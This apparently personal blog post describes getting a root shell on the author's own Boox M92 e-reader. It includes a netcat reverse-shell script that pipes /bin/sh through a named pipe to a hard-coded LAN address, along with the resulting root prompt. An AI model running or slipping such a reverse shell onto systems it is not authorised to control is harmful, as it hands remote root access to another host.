Home

rsh on boox m92

Updated:
Created:
boox, m92, linux

getting a remote shell on the m92

Basically the same rsh script that user 'review' wrote works on the boox as well. I created a script called rsh.oar:

#!/bin/sh

myip=192.168.5.106

#create backpipe if it doesn't exist
if ls -l /tmp/|grep backpipe |grep ^p; then
     echo "debug: backpipe exist."
else
     mknod /tmp/backpipe p
fi

# the heart...
nc $myip 9999 0</tmp/backpipe|/bin/sh -i 2>&1 |tee -a /tmp/backpipe;

Now I start the webbrowser on the m92, exit it, say no to 'disconnect wifi?', and then start the script. The result is:

joerg@mint:~/projects/boox$ nc -l 9999
/bin/sh: can't access tty; job control turned off

BusyBox v1.6.1 () Built-in shell (ash)
Enter 'help' for a list of built-in commands.

root@onyx /opt/onyx/arm/lib/fonts$

I quite like the root bit :-)